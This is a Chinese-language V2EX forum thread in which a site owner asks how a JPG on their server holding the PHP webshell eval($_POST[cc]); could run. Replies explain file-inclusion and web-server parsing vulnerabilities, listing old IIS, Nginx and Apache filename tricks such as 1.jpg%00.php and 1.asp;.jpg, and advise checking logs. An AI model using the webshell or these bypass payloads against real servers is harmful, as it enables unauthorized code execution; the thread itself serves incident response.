V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
zoneself
V2EX  ›  PHP

发现图片里含有一句话木马,含有木马的图片到底是怎么运行的

  •  
  •   zoneself · 2017-12-14 15:52:34 +08:00 · 21088 次点击
    这是一个创建于 2565 天前的主题,其中的信息可能已经有所发展或是发生改变。

    发现服务器里的一个图片里含有一句话木马
    eval($_POST[cc]);
    我吧图片下载到本地,在本地环境中引用图片,
    没发现什么多余的文件或者恶意代码,请大牛指导下,携带这种木马的图片会不会有风险?
    他们在服务器端到底是怎么执行的?
    在线等

    35 条回复    2017-12-16 01:33:31 +08:00
    tabris17
        1
    tabris17  
       2017-12-14 15:55:20 +08:00
    我记得以前可以通过 pathinfo 的漏洞来运行
    zoneself
        2
    zoneself  
    OP
       2017-12-14 15:55:48 +08:00
    @inroading 大牛,来指导下
    zoneself
        3
    zoneself  
    OP
       2017-12-14 15:59:18 +08:00
    @tabris17 现在是不是不行了?
    fcten
        4
    fcten  
       2017-12-14 16:05:30 +08:00
    只要让服务器把图片当作 php 脚本解析就行了,方法有很多,除了楼上提到的以外也有可能有本地文件包含漏洞
    tar
        5
    tar  
       2017-12-14 16:09:23 +08:00
    两种情况,第一种是服务器解析成了 php 格式的才是真正的木马,就是用解析漏洞进行解析为执行代码;第二种是测试的时候,比如前端限制了只允许上传图片格式的,那么先拦截包,多发送几次,第一次可能没有改文件的后缀,就成功上传上了,后面改了后缀被拒绝就没上传成功,于是你就发现你服务器里面有个图片马(纯猜测)
    sola97
        6
    sola97  
       2017-12-14 16:17:01 +08:00
    解析成 php 拿菜刀连
    zoneself
        7
    zoneself  
    OP
       2017-12-14 16:27:26 +08:00
    @sola97 如何解析? 你的意思是本地服务器吧线上的一个图片地址解析成 php 在本地执行吗?
    @tar 是图片里含有木马哈,jpg 格式的,不是 php 格式的
    @fcten 请问大佬,怎么让本地服务器吧图片当做 php 解析呢? 本地环境是 phpstudy
    anoymoux
        8
    anoymoux  
       2017-12-14 16:33:18 +08:00   ❤️ 1
    直接留 eval 的后门很容易被检测到,所以把一句话放图片里,然后搭配 include 来用........
    OpenJerry
        9
    OpenJerry  
       2017-12-14 16:33:23 +08:00 via Android
    图片马上传后利用文件包含漏洞来执行
    Telegram
        10
    Telegram  
       2017-12-14 16:35:18 +08:00 via iPhone
    把图片 include 呢?方法很多的。

    也有可能是黑客测试时留下的,不一定被入侵成功了。比如我测试上传漏洞,上传一个扩展名是 jpg 的文件,尝试利用漏洞截断,达到服务器把这个文件保存成 php 的文件目的,结果没成功,还是保存成了 jpg,就留下了这么一个文件。
    lxy
        11
    lxy  
       2017-12-14 16:58:29 +08:00   ❤️ 1
    Nginx 文件类型错误解析漏洞。前不久我参考这个 https://www.cnblogs.com/batsing/p/nginx_bug1_attack.html 做了测试,nginx/1.13.6,php-7.1.11 ,问题依然存在。想不明白为什么 Nginx 和 PHP 一直很难搭档,没有点改变。
    zoneself
        12
    zoneself  
    OP
       2017-12-14 17:01:53 +08:00
    @Telegram 嗯 我吧图片放在本地环境下 用 include 引用图片地址,执行了,生成了一个 php 文件,可以执行。<br/>然后我用 include 方法远程引用线上的图片,线上没生成 php 文件呢,线上没生成 php 呢,我就纳闷这个图片包含的木马是怎么执行的,如果他可以在线上上传 php 或者修改 php 文件,就没有这么麻烦了吧,直接上传或者修改成大马就行了……
    WordTian
        13
    WordTian  
       2017-12-14 17:03:48 +08:00 via Android
    cat *.jpg | sh
    zoneself
        14
    zoneself  
    OP
       2017-12-14 17:05:02 +08:00
    @lxy 线上服务器是 iis 呢 不是 nginx
    mingzu
        15
    mingzu  
       2017-12-14 17:05:47 +08:00
    没事呀,只要这个图片不解析成 PHP 就可以了。

    图片后缀会当成图片解析。

    比如很早以前的 iis 6.0 漏洞就会把图片后缀的后缀截成 php 后缀, 当作 PHP 脚本运行。
    zoneself
        16
    zoneself  
    OP
       2017-12-14 17:15:57 +08:00
    @mingzu 我试了下,现在不行 哈哈
    hasdream
        17
    hasdream  
       2017-12-14 17:22:23 +08:00 via Android
    很早之前可以 a.com/a.jpg/n.php 或者 a.com/a.jpg%00.php
    zoneself
        18
    zoneself  
    OP
       2017-12-14 17:28:51 +08:00
    @hasdream 你说的是 a.com/a.jpg 空格.php 吧 这个我也试了,也失效啦
    Sanko
        19
    Sanko  
       2017-12-14 17:32:40 +08:00 via Android
    a.asp/1.jpg 即*.asp 目录下的文件会被当做可执行脚本执行,好像是 iis6.0 的漏洞
    Va1n3R
        20
    Va1n3R  
       2017-12-14 17:44:12 +08:00
    解析漏洞以及文件包含可以触发这个后门,现在稍微环境新一点都不会有解析漏洞的。
    Va1n3R
        21
    Va1n3R  
       2017-12-14 17:48:06 +08:00
    IIS6.0 的解析漏洞 :1.jpg%00.php 1.asp;.jpg 1.asp/1.jpg
    IIS 7.0/IIS 7.5/ Nginx <8.03 畸形解析 1.jpg/.php
    Nginx <8.03 空字节代码执行漏洞 1.jpg%00.php
    Apache 解析漏洞 .php.一个无效后缀
    还有就是 Windows 下的各种截断了,因为 win 环境下不允许一些符号命名文件,所以可以造成截断文件名的效果,不过恕我直言,用 Windows 当服务器就是 sb...
    CEBBCAT
        22
    CEBBCAT  
       2017-12-14 17:54:32 +08:00 via Android
    楼主学艺技能不错
    wooyuntest
        23
    wooyuntest  
       2017-12-14 18:05:31 +08:00
    因为存在解析漏洞
    zoneself
        24
    zoneself  
    OP
       2017-12-14 18:15:40 +08:00
    @Va1n3R @wooyuntest 解析漏洞都不存在呢
    binux
        25
    binux  
       2017-12-14 18:18:39 +08:00 via Android
    @zoneself 你的思路错了,他上传那个文件不是因为你有这个漏洞,而是在试你是否有这个漏洞。
    MOmc
        26
    MOmc  
       2017-12-14 20:15:44 +08:00 via Android
    场景可能这样。有人想 getshell,可能是想试试有没有上传漏洞,然后在传的时候直接怼了目前的“图片”(新手来的),然后可能没绕成功就直接把图片怼上去了………还有一种可能就是大家说的解析漏洞,他可能发现你这里有解析漏洞然后直接干(不过楼主说没有解析漏洞那应该是前者吧)………建议楼主查一下日志,看看是哪里有未授权访问到上传功能还是说有注入被打进后台又或者有弱口令等等………查日志吧大兄弟………声明一下我在某安全公司做渗透,正规工作,请某些人不要打扰我谢谢!
    Va1n3R
        27
    Va1n3R  
       2017-12-14 20:19:19 +08:00
    @zoneself 不存在就不存在呗,不试试怎么有没有漏洞,攻击者可能只是测试下而已啊,看日志吧。有没有访问这个图片的
    Soar360
        28
    Soar360  
       2017-12-15 01:28:52 +08:00 via iPhone
    A.jpg;.php 经典的 iis6 解析楼顶。
    msg7086
        29
    msg7086  
       2017-12-15 02:13:37 +08:00
    要是运行成功了,楼主你还笑呵呵在论坛上和人聊天?怕不是早就在备份数据重装系统了。
    zoneself
        30
    zoneself  
    OP
       2017-12-15 09:13:59 +08:00
    @MOmc 就是传说中的黑客吧,好怕怕……
    @Va1n3R 嗯 准备找那个时间段的日志分析下
    @Soar360 漏洞不存在啦,我尝试了
    @msg7086 要是运行成功了,我就呵呵了,卷铺盖走人了
    mingzu
        31
    mingzu  
       2017-12-15 09:17:31 +08:00
    @zoneself 现在没人用 IIS6 吧,大家的意思是让你排查类似的解析漏洞。微醺..
    zoneself
        32
    zoneself  
    OP
       2017-12-15 09:22:54 +08:00
    @mingzu 嗯嗯,了解了,谢谢你,也谢谢各位大佬!
    RcoIl
        33
    RcoIl  
       2017-12-15 09:53:50 +08:00
    首先,图片马是配合解析漏洞或者文件包含才能正常执行。
    其次,解析漏洞存在于 apache,iis,Nginx 各个版本(指的是以前的版本)。
    然后,这里的文件包含指的是本地包含。
    最后,楼主本地 include 线上的图片,要执行也是在本地执行,而不是线上,所以不会对线上有影响。本地测试解析漏洞可以去修改 apache 的配置文件。
    ztaosony
        34
    ztaosony  
       2017-12-15 15:36:59 +08:00
    说到底所有的方法都是为了让这个图片文件解析成 php 脚本文件。
    MOmc
        35
    MOmc  
       2017-12-16 01:33:31 +08:00 via Android
    @zoneself 不是不是,大佬我删评论了…
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   878 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 26ms · UTC 21:47 · PVG 05:47 · LAX 13:47 · JFK 16:47
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.